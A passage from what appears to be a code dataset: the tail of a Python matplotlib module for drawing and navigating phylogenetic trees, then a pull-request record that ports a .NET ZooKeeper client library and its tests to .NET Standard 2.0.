bbox=dict(fc=\"lightyellow\", ec=\"none\", alpha=0.8),\n                    clip_on=True,\n                    picker=True\n                )\n                ## txt.set_visible(False)\n                txt.node = node\n                self.node2label[node] = txt\n        ## print \"leave: create_label_artists\"\n\n    def adjust_xspine(self):\n        v = sorted([ c.x for c in self.n2c.values() ])\n        try:\n            self.spines[\"bottom\"].set_bounds(v[0],v[-1])\n        except AttributeError:\n            pass\n        for t,n,s in self.xaxis.iter_ticks():\n            if (n > v[-1]) or (n < v[0]):\n                t.set_visible(False)\n\n    def mark_named(self):\n        if self._mark_named:\n            n2c = self.n2c\n            cv = [ c for n, c in n2c.items() if n.label and (not n.isleaf) ]\n            x = [ c.x for c in cv ]\n            y = [ c.y for c in cv ]\n            if x and y:\n                self.scatter(x, y, s=5, color='black')\n\n    def home(self):\n        td = self.transData\n        trans = td.inverted().transform\n        xmax = xmin = ymax = ymin = 0\n        if self.node2label:\n            try:\n                v = [ x.get_window_extent() for x in self.node2label.values()\n                      if x.get_visible() ]\n                if v:\n                    xmax = trans((max([ x.xmax for x in v ]),0))[0]\n                    xmin = trans((min([ x.xmin for x in v ]),0))[0]\n            except RuntimeError:\n                pass\n\n        v = self.n2c.values()\n        ymin = min([ c.y for c in v ])\n        ymax = max([ c.y for c in v ])\n        xmin = min(xmin, min([ c.x for c in v ]))\n        xmax = max(xmax, max([ c.x for c in v ]))\n        xspan = xmax - xmin; xpad = xspan*0.05\n        yspan = ymax - ymin; ypad = yspan*0.05\n        self.set_xlim(xmin-xpad, xmax+xpad*2)\n        self.set_ylim(ymin-ypad, ymax+ypad)\n        self.adjust_xspine()\n\n    def scroll(self, x, y):\n        x0, x1 = self.get_xlim()\n        y0, y1 = self.get_ylim()\n        xd = (x1-x0)*x\n        yd = (y1-y0)*y\n        self.set_xlim(x0+xd, x1+xd)\n        self.set_ylim(y0+yd, y1+yd)\n        self.adjust_xspine()\n\n    def plot_labelcolor(self, nodemap, state2color=None):\n        if state2color is None:\n            c = colors.tango()\n            states = sorted(set(nodemap.values()))\n            state2color = dict(zip(states, c))\n\n        for node, txt in self.node2label.items():\n            s = nodemap.get(node)\n            if s is not None:\n                c = state2color[s]\n                if c:\n                    txt.set_color(c)\n        self.figure.canvas.draw_idle()\n\n    def node_image(self, node, imgfile, maxdim=100, border=0):\n        xoff = self.leaf_offset\n        n = self.root[node]; c = self.n2c[n]; p = (c.x, c.y)\n        img = Image.open(imgfile)\n        if max(img.size) > maxdim:\n            img.thumbnail((maxdim, maxdim))\n        imgbox = OffsetImage(img)\n        xycoords = self.node2label.get(node) or \"data\"\n        if xycoords != \"data\": p = (1, 0.5)\n        abox = AnnotationBbox(imgbox, p,\n                              xybox=(xoff, 0.0),\n                              xycoords=xycoords,\n                              box_alignment=(0.0,0.5),\n                              pad=0.0,\n                              boxcoords=(\"offset points\"))\n        self.add_artist(abox)\n\n    def plot_discrete(self, data, cmap=None, name=None,\n                      xoff=10, yoff=0, size=15, legend=1):\n        root = self.root\n        if cmap is None:\n            import ivy\n            c = colors.tango()\n            states = sorted(set(data.values()))\n            cmap = dict(zip(states, c))\n        n2c = self.n2c\n        points = []; c = []\n        d = dict([ (n, data.get(n)) for n in root if data.get(n) is not None ])\n        for n, v in d.items():\n            coord = n2c[n]\n            points.append((coord.x, coord.y)); c.append(cmap[v])\n\n        boxes = symbols.squares(self, points, c, size, xoff=xoff, yoff=yoff)\n\n        if legend:\n            handles = []; labels = []\n            for v, c in sorted(cmap.items()):\n                handles.append(Rectangle((0,0),0.5,1,fc=c))\n                labels.append(str(v))\n            self.legend(handles, labels, loc=legend)\n\n        self.figure.canvas.draw_idle()\n        return boxes\n\n    def plot_continuous(self, data, mid=None, name=None, cmap=None,\n                        size=15, colorbar=True):\n        area = (size*0.5)*(size*0.5)*numpy.pi\n        values = data.values()\n        vmin = min(values); vmax = max(values)\n        if mid is None:\n            mid = (vmin+vmax)*0.5\n            delta = vmax-vmin*0.5\n        else:\n            delta = max(abs(vmax-mid), abs(vmin-mid))\n        norm = mpl_colors.Normalize(mid-delta, mid+delta)\n        ## if cmap is None: cmap = mpl_colormap.binary\n        if cmap is None: cmap = mpl_colormap.hot\n        n2c = self.n2c\n        X = numpy.array(\n            [ (n2c[n].x, n2c[n].y, v) for n, v in data.items() if n in n2c ]\n            )\n        circles = self.scatter(\n            X[:,0], X[:,1], s=area, c=X[:,2], cmap=cmap, norm=norm,\n            zorder=1000\n            )\n        if colorbar:\n            cbar = self.figure.colorbar(circles, ax=self, shrink=0.7)\n            if name:\n                cbar.ax.set_xlabel(name)\n\n        self.figure.canvas.draw_idle()\n\nclass RadialTree(Tree):\n    def layout(self):\n        from ..layout_polar import calc_node_positions\n        start = self.start if hasattr(self, 'start') else 0\n        end = self.end if hasattr(self, 'end') else None\n        self.n2c = calc_node_positions(self.root, scaled=self.scaled,\n                                       start=start, end=end)\n        sv = sorted([\n            [c.y, c.x, n] for n, c in self.n2c.items()\n            ])\n        self.coords = sv\n\n    ## def _path_to_parent(self, node, width=None, color=None):\n    ##     c = self.n2c[node]; theta1 = c.angle; r = c.depth\n    ##     M = Path.MOVETO; L = Path.LINETO\n    ##     pc = self.n2c[node.parent]; theta2 = pc.angle\n    ##     px1 = math.cos(math.radians(c.angle))*pc.depth\n    ##     py1 = math.sin(math.radians(c.angle))*pc.depth\n    ##     verts = [(c.x,c.y),(px1,py1)]; codes = [M,L]\n    ##     #verts.append((pc.x,pc.y)); codes.append(L)\n    ##     path = PathPatch(Path(verts, codes), fill=False,\n    ##                      linewidth=width or self.branch_width,\n    ##                      edgecolor=color or self.branch_color)\n    ##     diam = pc.depth*2\n    ##     t1, t2 = tuple(sorted((theta1,theta2)))\n    ##     arc = Arc((0,0), diam, diam, theta1=t1, theta2=t2,\n    ##               edgecolor=color or self.branch_color,\n    ##               linewidth=width or self.branch_width)\n    ##     return [path, arc]\n\n    def _path_to_parent(self, node):\n        c = self.n2c[node]; theta1 = c.angle; r = c.depth\n        M = Path.MOVETO; L = Path.LINETO\n        pc = self.n2c[node.parent]; theta2 = pc.angle\n        px1 = math.cos(math.radians(c.angle))*pc.depth\n        py1 = math.sin(math.radians(c.angle))*pc.depth\n        verts = [(c.x,c.y),(px1,py1)]; codes = [M,L]\n        t1, t2 = tuple(sorted((theta1,theta2)))\n        diam = pc.depth*2\n        arc = Arc((0,0), diam, diam, theta1=t1, theta2=t2)\n        arcpath = arc.get_path()\n        av = arcpath.vertices * pc.depth\n        ac = arcpath.codes\n        verts.extend(av.tolist())\n        codes.extend(ac.tolist())\n        return verts, codes\n\n    def highlight(self, nodes=None, width=5, color=\"red\"):\n        if self.highlightpatch:\n            try:\n                self.highlightpatch.remove()\n            except:\n                pass\n        if not nodes:\n            return\n\n        if len(nodes)>1:\n            mrca = self.root.mrca(nodes)\n            if not mrca:\n                return\n        else:\n            mrca = list(nodes)[0]\n\n        M = Path.MOVETO; L = Path.LINETO\n        verts = []\n        codes = []\n        seen = set()\n        patches = []\n        for node, coords in [ x for x in self.n2c.items() if x[0] in nodes ]:\n            x = coords.x; y = coords.y\n            p = node.parent\n            while p:\n                pcoords = self.n2c[p]\n                px = pcoords.x; py = pcoords.y\n                if node not in seen:\n                    v, c = self._path_to_parent(node)\n                    verts.extend(v)\n                    codes.extend(c)\n                    seen.add(node)\n                if p == mrca or node == mrca:\n                    break\n                node = p\n                coords = self.n2c[node]\n                x = coords.x; y = coords.y\n                p = node.parent\n        ## px, py = verts[-1]\n        ## verts.append((px, py)); codes.append(M)\n        self.highlightpath = Path(verts, codes)\n        self.highlightpatch = PathPatch(\n            self.highlightpath, fill=False, linewidth=width, edgecolor=color\n            )\n        self.add_patch(self.highlightpatch)\n        ## self.highlight_patches = PatchCollection(patches, match_original=True)\n        ## self.add_collection(self.highlight_patches)\n\n\nclass OverviewTree(Tree):\n    def __init__(self, *args, **kwargs):\n        kwargs[\"leaflabels\"] = False\n        kwargs[\"branchlabels\"] = False\n        Tree.__init__(self, *args, **kwargs)\n        self.xaxis.set_visible(False)\n        self.spines[\"bottom\"].set_visible(False)\n        self.add_overview_rect()\n\n    def set_target(self, target):\n        self.target = target\n\n    def add_overview_rect(self):\n        rect = UpdatingRect([0, 0], 0, 0, facecolor='black', edgecolor='red')\n        rect.set_alpha(0.2)\n        rect.target = self.target\n        rect.set_bounds(*self.target.viewLim.bounds)\n        self.zoomrect = rect\n        self.add_patch(rect)\n        ## if pyplot.isinteractive():\n        self.target.callbacks.connect('xlim_changed', rect)\n        self.target.callbacks.connect('ylim_changed', rect)\n\n    def redraw(self):\n        Tree.redraw(self)\n        self.add_overview_rect()\n        self.figure.canvas.draw_idle()\n\ndef axes_enter(e):\n    ax = e.inaxes\n    ax._active = True\n\ndef axes_leave(e):\n    ax = e.inaxes\n    ax._active = False\n\ndef onselect(estart, estop):\n    b = estart.button\n    ## print b, estart.key\n\ndef onkeypress(e):\n    ax = e.inaxes\n    k = e.key\n    if ax and k == 't':\n        ax.home()\n    if ax and k == \"down\":\n        ax.scroll(0, -0.1)\n        ax.figure.canvas.draw_idle()\n    if ax and k == \"up\":\n        ax.scroll(0, 0.1)\n        ax.figure.canvas.draw_idle()\n    if ax and k == \"left\":\n        ax.scroll(-0.1, 0)\n        ax.figure.canvas.draw_idle()\n    if ax and k == \"right\":\n        ax.scroll(0.1, 0)\n        ax.figure.canvas.draw_idle()\n    if ax and k and k in '=+':\n        ax.zoom(0.1,0.1)\n    if ax and k == '-':\n        ax.zoom(-0.1,-0.1)\n\ndef ondrag(e):\n    ax = e.inaxes\n    button = e.button\n    if ax and button == 2:\n        if not ax.pan_start:\n            ax.pan_start = (e.xdata, e.ydata)\n            return\n        x, y = ax.pan_start\n        xdelta = x - e.xdata\n        ydelta = y - e.ydata\n        x0, x1 = ax.get_xlim()\n        xspan = x1-x0\n        y0, y1 = ax.get_ylim()\n        yspan = y1 - y0\n        midx = (x1+x0)*0.5\n        midy = (y1+y0)*0.5\n        ax.set_xlim(midx+xdelta-xspan*0.5, midx+xdelta+xspan*0.5)\n        ax.set_ylim(midy+ydelta-yspan*0.5, midy+ydelta+yspan*0.5)\n        ax.adjust_xspine()\n\ndef onbuttonrelease(e):\n    ax = e.inaxes\n    button = e.button\n    if button == 2:\n        ## print \"pan end\"\n        ax.pan_start = None\n\ndef onpick(e):\n    ax = e.mouseevent.inaxes\n    if ax:\n        ax.picked(e)\n\ndef onscroll(e):\n    ax = e.inaxes\n    if ax:\n        b = e.button\n        ## print b\n        k = e.key\n        if k == None and b ==\"up\":\n            ax.zoom(0.1,0.1)\n        if k == None and b ==\"down\":\n            ax.zoom(-0.1,-0.1)\n        if k == \"shift\" and b == \"up\":\n            ax.zoom_cxy(0.1, 0, e.xdata, e.ydata)\n        if k == \"shift\" and b == \"down\":\n            ax.zoom_cxy(-0.1, 0, e.xdata, e.ydata)\n        if k == \"control\" and b == \"up\":\n            ax.zoom_cxy(0, 0.1, e.xdata, e.ydata)\n        if k == \"control\" and b == \"down\":\n            ax.zoom_cxy(0, -0.1, e.xdata, e.ydata)\n        if k == \"d\" and b == \"up\":\n            ax.scroll(0, 0.1)\n        if (k == \"d\" and b == \"down\"):\n            ax.scroll(0, -0.1)\n        if k == \"c\" and b == \"up\":\n            ax.scroll(-0.1, 0)\n        if k == \"c\" and b == \"down\":\n            ax.scroll(0.1, 0)\n        try: ax.adjust_xspine()\n        except: pass\n        ax.figure.canvas.draw_idle()\n\ndef onclick(e):\n    ax = e.inaxes\n    if ax and e.button==1 and hasattr(ax, \"zoomrect\") and ax.zoomrect:\n        # overview clicked; reposition zoomrect\n        r = ax.zoomrect\n        x = e.xdata\n        y = e.ydata\n        arr = ax.transData.inverted().transform(r.get_extents())\n        xoff = (arr[1][0]-arr[0][0])*0.5\n        yoff = (arr[1][1]-arr[0][1])*0.5\n        r.target.set_xlim(x-xoff,x+xoff)\n        r.target.set_ylim(y-yoff,y+yoff)\n        r(r.target)\n        ax.figure.canvas.draw_idle()\n\n    if ax and e.button==2:\n        ## print \"pan start\", (e.xdata, e.ydata)\n        ax.pan_start = (e.xdata, e.ydata)\n\n\ndef test_decorate(treeplot):\n    import evolve\n    data = evolve.brownian(treeplot.root)\n    values = data.values()\n    vmin = min(values); vmax = max(values)\n    norm = mpl_colors.Normalize(vmin, vmax)\n    cmap = mpl_colormap.binary\n    n2c = treeplot.n2c\n    X = numpy.array(\n        [ (n2c[n].x, n2c[n].y, v)\n          for n, v in data.items() if n in n2c ]\n        )\n    circles = treeplot.scatter(\n        X[:,0], X[:,1], s=200, c=X[:,2], cmap=cmap, norm=norm,\n        zorder=100\n        )\n\nclass Decorator(object):\n    def __init__(self, treeplot):\n        self.plot = treeplot\n\nclass VisToggle(object):\n    def __init__(self, name, treeplot=None, value=False):\n        self.name = name\n        self.plot = treeplot\n        self.value = value\n\n    def __nonzero__(self):\n        return self.value\n\n    def __repr__(self):\n        return \"%s: %s\" % (self.name, self.value)\n\n    def redraw(self):\n        if self.plot:\n            self.plot.redraw()\n\n    def toggle(self):\n        self.value = not self.value\n        self.redraw()\n\n    def show(self):\n        if self.value == False:\n            self.value = True\n            self.redraw()\n\n    def hide(self):\n        if self.value == True:\n            self.value = False\n            self.redraw()\n\n\nTreePlot = subplot_class_factory(Tree)\nRadialTreePlot = subplot_class_factory(RadialTree)\nOverviewTreePlot = subplot_class_factory(OverviewTree)\n\nif __name__ == \"__main__\":\n    import evolve\n    root, data = evolve.test_brownian()\n    plot_continuous(root, data, name=\"Brownian\", mid=0.0)\n"}}
{"repo": "ewhauser/zookeeper", "pr_number": 37, "title": "Updated .Net library to .netstandard2.0", "state": "closed", "merged_at": null, "additions": 97, "deletions": 31594, "files_changed": ["src/dotnet/ZooKeeperNet.Recipes.Tests/Properties/AssemblyInfo.cs", "src/dotnet/ZooKeeperNet.Recipes/Properties/AssemblyInfo.cs", "src/dotnet/ZooKeeperNet.Tests/AbstractZooKeeperTests.cs", "src/dotnet/ZooKeeperNet.Tests/Properties/AssemblyInfo.cs", "src/dotnet/ZooKeeperNet.Tests/RecoveryTest.cs", "src/dotnet/ZooKeeperNet/Properties/AssemblyInfo.cs"], "files_before": {"src/dotnet/ZooKeeperNet.Recipes.Tests/Properties/AssemblyInfo.cs": "\ufeffusing System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General Information about an assembly is controlled through the following \r\n// set of attributes. Change these attribute values to modify the information\r\n// associated with an assembly.\r\n[assembly: AssemblyTitle(\"SharpKeeperRecipes.Tests\")]\r\n[assembly: AssemblyDescription(\"\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"Microsoft\")]\r\n[assembly: AssemblyProduct(\"SharpKeeperRecipes.Tests\")]\r\n[assembly: AssemblyCopyright(\"Copyright \u00a9 Microsoft 2010\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n// Setting ComVisible to false makes the types in this assembly not visible \r\n// to COM components.  If you need to access a type in this assembly from \r\n// COM, set the ComVisible attribute to true on that type.\r\n[assembly: ComVisible(false)]\r\n\r\n// The following GUID is for the ID of the typelib if this project is exposed to COM\r\n[assembly: Guid(\"a1b5ade2-64f4-46ee-b8eb-067c351afb45\")]\r\n\r\n// Version information for an assembly consists of the following four values:\r\n//\r\n//      Major Version\r\n//      Minor Version \r\n//      Build Number\r\n//      Revision\r\n//\r\n// You can specify all the values or you can default the Build and Revision Numbers \r\n// by using the '*' as shown below:\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.0.0.0\")]\r\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\r\n", "src/dotnet/ZooKeeperNet.Recipes/Properties/AssemblyInfo.cs": "\ufeffusing System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General Information about an assembly is controlled through the following \r\n// set of attributes. Change these attribute values to modify the information\r\n// associated with an assembly.\r\n[assembly: AssemblyTitle(\"ZooKeeperNet.Recipes\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n// The following GUID is for the ID of the typelib if this project is exposed to COM\r\n[assembly: Guid(\"2fa24a05-e792-49c5-908a-9ae26ecb6401\")]", "src/dotnet/ZooKeeperNet.Tests/AbstractZooKeeperTests.cs": "/*\r\n *  Licensed to the Apache Software Foundation (ASF) under one or more\r\n *  contributor license agreements.  See the NOTICE file distributed with\r\n *  this work for additional information regarding copyright ownership.\r\n *  The ASF licenses this file to You under the Apache License, Version 2.0\r\n *  (the \"License\"); you may not use this file except in compliance with\r\n *  the License.  You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n *  Unless required by applicable law or agreed to in writing, software\r\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\r\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n *  See the License for the specific language governing permissions and\r\n *  limitations under the License.\r\n *\r\n */\r\nnamespace ZooKeeperNet.Tests\r\n{\r\n    using System;\r\n    using System.Runtime.CompilerServices;\r\n    using System.Threading;\r\n    using log4net.Config;\r\n\r\n    public abstract class AbstractZooKeeperTests\r\n    {\r\n        static AbstractZooKeeperTests()\r\n        {\r\n            XmlConfigurator.Configure();    \r\n        }\r\n\r\n        protected static readonly TimeSpan CONNECTION_TIMEOUT = new TimeSpan(0, 0, 0, 0, 10000);\r\n\r\n        protected virtual ZooKeeper CreateClient()\r\n        {\r\n            CountdownWatcher watcher = new CountdownWatcher();\r\n            return new ZooKeeper(\"127.0.0.1:2181\", new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        protected virtual ZooKeeper CreateClient(string node)\r\n        {\r\n            CountdownWatcher watcher = new CountdownWatcher();\r\n            return new ZooKeeper(\"127.0.0.1:2181\" + node, new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        protected ZooKeeper CreateClient(IWatcher watcher)\r\n        {\r\n            return new ZooKeeper(\"127.0.0.1:2181\", new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        protected ZooKeeper CreateClientWithAddress(string address)\r\n        {\r\n            CountdownWatcher watcher = new CountdownWatcher();\r\n            return new ZooKeeper(address, new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        public class CountdownWatcher : IWatcher\r\n        {\r\n            readonly ManualResetEvent resetEvent = new ManualResetEvent(false);\r\n            private static readonly object sync = new object();\r\n\r\n            volatile bool connected;\r\n\r\n            public CountdownWatcher()\r\n            {\r\n                Reset();\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            public void Reset()\r\n            {\r\n                resetEvent.Set();\r\n                connected = false;\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            public virtual void Process(WatchedEvent @event)\r\n            {\r\n                if (@event.State == KeeperState.SyncConnected)\r\n                {\r\n                    connected = true;\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.PulseAll(sync);\r\n                    }\r\n                    resetEvent.Set();\r\n                }\r\n                else\r\n                {\r\n                    connected = false;\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.PulseAll(sync);\r\n                    }\r\n                }\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            bool IsConnected()\r\n            {\r\n                return connected;\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            void waitForConnected(TimeSpan timeout)\r\n            {\r\n                DateTime expire = DateTime.UtcNow + timeout;\r\n                TimeSpan left = timeout;\r\n                while (!connected && left.TotalMilliseconds > 0)\r\n                {\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.TryEnter(sync, left);\r\n                    }\r\n                    left = expire - DateTime.UtcNow;\r\n                }\r\n                if (!connected)\r\n                {\r\n                    throw new TimeoutException(\"Did not connect\");\r\n\r\n                }\r\n            }\r\n\r\n            void waitForDisconnected(TimeSpan timeout)\r\n            {\r\n                DateTime expire = DateTime.UtcNow + timeout;\r\n                TimeSpan left = timeout;\r\n                while (connected && left.TotalMilliseconds > 0)\r\n                {\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.TryEnter(sync, left);\r\n                    }\r\n                    left = expire - DateTime.UtcNow;\r\n                }\r\n                if (connected)\r\n                {\r\n                    throw new TimeoutException(\"Did not disconnect\");\r\n                }\r\n            }\r\n        }\r\n\r\n    }\r\n}\r\n", "src/dotnet/ZooKeeperNet.Tests/Properties/AssemblyInfo.cs": "/*\r\n *  Licensed to the Apache Software Foundation (ASF) under one or more\r\n *  contributor license agreements.  See the NOTICE file distributed with\r\n *  this work for additional information regarding copyright ownership.\r\n *  The ASF licenses this file to You under the Apache License, Version 2.0\r\n *  (the \"License\"); you may not use this file except in compliance with\r\n *  the License.  You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n *  Unless required by applicable law or agreed to in writing, software\r\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\r\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n *  See the License for the specific language governing permissions and\r\n *  limitations under the License.\r\n *\r\n */\r\n\ufeffusing System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General Information about an assembly is controlled through the following \r\n// set of attributes. Change these attribute values to modify the information\r\n// associated with an assembly.\r\n[assembly: AssemblyTitle(\"SharpKeeper.Tests\")]\r\n[assembly: AssemblyDescription(\"\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"Microsoft\")]\r\n[assembly: AssemblyProduct(\"SharpKeeper.Tests\")]\r\n[assembly: AssemblyCopyright(\"Copyright \u00a9 Microsoft 2010\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n// Setting ComVisible to false makes the types in this assembly not visible \r\n// to COM components.  If you need to access a type in this assembly from \r\n// COM, set the ComVisible attribute to true on that type.\r\n[assembly: ComVisible(false)]\r\n\r\n// The following GUID is for the ID of the typelib if this project is exposed to COM\r\n[assembly: Guid(\"0755fc77-447a-4817-b43f-82ba61d1c2a6\")]\r\n\r\n// Version information for an assembly consists of the following four values:\r\n//\r\n//      Major Version\r\n//      Minor Version \r\n//      Build Number\r\n//      Revision\r\n//\r\n// You can specify all the values or you can default the Build and Revision Numbers \r\n// by using the '*' as shown below:\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.0.0.0\")]\r\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\r\n", "src/dotnet/ZooKeeperNet.Tests/RecoveryTest.cs": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\r\nusing System;\r\nusing System.Threading;\r\nusing log4net;\r\nusing NUnit.Framework;\r\nusing Org.Apache.Zookeeper.Data;\r\n\r\nnamespace ZooKeeperNet.Tests\r\n{\r\n    public class RecoveryTest : AbstractZooKeeperTests, IWatcher\r\n    {\r\n        private readonly ILog LOG = LogManager.GetLogger(typeof(RecoveryTest));\r\n        private int setDataCount;\r\n        private int processCount;\r\n        private readonly string testPath = \"/unittests/recoverytests/\" + Guid.NewGuid();\r\n\r\n        [Test, Explicit]\r\n        public void ReconnectsWhenDisconnected()\r\n        {\r\n            using (CancellationTokenSource token = new CancellationTokenSource())\r\n            {\r\n                Thread thread = new Thread(Run)\r\n                    {\r\n                        IsBackground = true,\r\n                        Name = \"RecoveryTest.Run\"\r\n                    };\r\n                thread.Start(token.Token);\r\n                Thread.Sleep(15*1000);\r\n                LOG.Error(\"STOP ZK!!!! Count: \" + processCount);\r\n                Thread.Sleep(20*1000);\r\n                LOG.Error(\"START ZK!!! Count: \" + processCount);\r\n                Thread.Sleep(30*1000);\r\n                LOG.Error(\"Stopping ZK client.\");\r\n                token.Cancel();\r\n                LOG.Error(\"Waiting for thread to stop...\" + processCount);\r\n                thread.Join();\r\n                if (thread.IsAlive)\r\n                    Assert.Fail(\"Thread still alive\");\r\n                Assert.AreEqual(setDataCount, processCount, \"setDataCount == processCount\");\r\n                LOG.Error(\"Finished:\" + setDataCount + \":\" + processCount);\r\n            }\r\n        }\r\n\r\n        private void Run(object sender)\r\n        {\r\n            try\r\n            {\r\n                CancellationToken token = (CancellationToken)sender;\r\n                using (ZooKeeper zooKeeper = CreateClient(this))\r\n                {\r\n                    Stat stat = new Stat();\r\n                    if (zooKeeper.Exists(\"/unittests/recoverytests\", false) == null)\r\n                    {\r\n                        zooKeeper.Create(\"/unittests\", new byte[] {0}, Ids.OPEN_ACL_UNSAFE, CreateMode.Persistent);\r\n                        zooKeeper.Create(\"/unittests/recoverytests\", new byte[] {0}, Ids.OPEN_ACL_UNSAFE, CreateMode.Persistent);\r\n                    }\r\n                    if (zooKeeper.Exists(testPath, false) == null)\r\n                    {   \r\n                        zooKeeper.Create(testPath, new byte[] {0}, Ids.OPEN_ACL_UNSAFE, CreateMode.Persistent);\r\n                    }\r\n                    while (zooKeeper.State.IsAlive() && !token.IsCancellationRequested)\r\n                    {\r\n                        try\r\n                        {\r\n                            zooKeeper.GetData(testPath, true, stat);\r\n                            zooKeeper.SetData(testPath, Guid.NewGuid().ToByteArray(), -1);\r\n                            setDataCount++;\r\n                        }\r\n                        catch(KeeperException ke)\r\n                        {\r\n                            LOG.Error(ke);\r\n                        }\r\n                    }\r\n                    LOG.Error(\"Waiting for dispose.\");\r\n                }\r\n            }\r\n            catch(Exception ex)\r\n            {\r\n                LOG.Error(ex);\r\n            }\r\n        }\r\n\r\n        public void Process(WatchedEvent @event)\r\n        {\r\n            LOG.Debug(@event);\r\n            if (@event.Type == EventType.NodeCreated || @event.Type == EventType.NodeDataChanged)\r\n            {\r\n                Interlocked.Increment(ref processCount);\r\n            }\r\n        }\r\n    }\r\n}", "src/dotnet/ZooKeeperNet/Properties/AssemblyInfo.cs": "/*\r\n *  Licensed to the Apache Software Foundation (ASF) under one or more\r\n *  contributor license agreements.  See the NOTICE file distributed with\r\n *  this work for additional information regarding copyright ownership.\r\n *  The ASF licenses this file to You under the Apache License, Version 2.0\r\n *  (the \"License\"); you may not use this file except in compliance with\r\n *  the License.  You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n *  Unless required by applicable law or agreed to in writing, software\r\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\r\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n *  See the License for the specific language governing permissions and\r\n *  limitations under the License.\r\n *\r\n */\r\nusing System.Reflection;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General Information about an assembly is controlled through the following \r\n// set of attributes. Change these attribute values to modify the information\r\n// associated with an assembly.\r\n[assembly: AssemblyTitle(\"ZooKeeperNet\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n// The following GUID is for the ID of the typelib if this project is exposed to COM\r\n[assembly: Guid(\"0ee34fd6-195e-4912-906a-44062ecaffad\")]"}, "files_after": {"src/dotnet/ZooKeeperNet.Tests/AbstractZooKeeperTests.cs": "/*\r\n *  Licensed to the Apache Software Foundation (ASF) under one or more\r\n *  contributor license agreements.  See the NOTICE file distributed with\r\n *  this work for additional information regarding copyright ownership.\r\n *  The ASF licenses this file to You under the Apache License, Version 2.0\r\n *  (the \"License\"); you may not use this file except in compliance with\r\n *  the License.  You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n *  Unless required by applicable law or agreed to in writing, software\r\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\r\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n *  See the License for the specific language governing permissions and\r\n *  limitations under the License.\r\n *\r\n */\r\n\r\nusing System.IO;\r\nusing System.Xml;\r\n\r\nnamespace ZooKeeperNet.Tests\r\n{\r\n    using System;\r\n    using System.Runtime.CompilerServices;\r\n    using System.Threading;\r\n\r\n    public abstract class AbstractZooKeeperTests\r\n    {\r\n        static AbstractZooKeeperTests()\r\n        {\r\n            XmlDocument log4netConfig = new XmlDocument();\r\n            log4netConfig.Load(File.OpenRead(\"log4net.xml\"));\r\n            var repository = log4net.LogManager.CreateRepository(\"tests\");\r\n            log4net.Config.XmlConfigurator.Configure(repository, log4netConfig[\"log4net\"]);\r\n        }\r\n\r\n        protected static readonly TimeSpan CONNECTION_TIMEOUT = new TimeSpan(0, 0, 0, 0, 10000);\r\n\r\n        protected virtual ZooKeeper CreateClient()\r\n        {\r\n            CountdownWatcher watcher = new CountdownWatcher();\r\n            return new ZooKeeper(\"127.0.0.1:2181\", new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        protected virtual ZooKeeper CreateClient(string node)\r\n        {\r\n            CountdownWatcher watcher = new CountdownWatcher();\r\n            return new ZooKeeper(\"127.0.0.1:2181\" + node, new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n     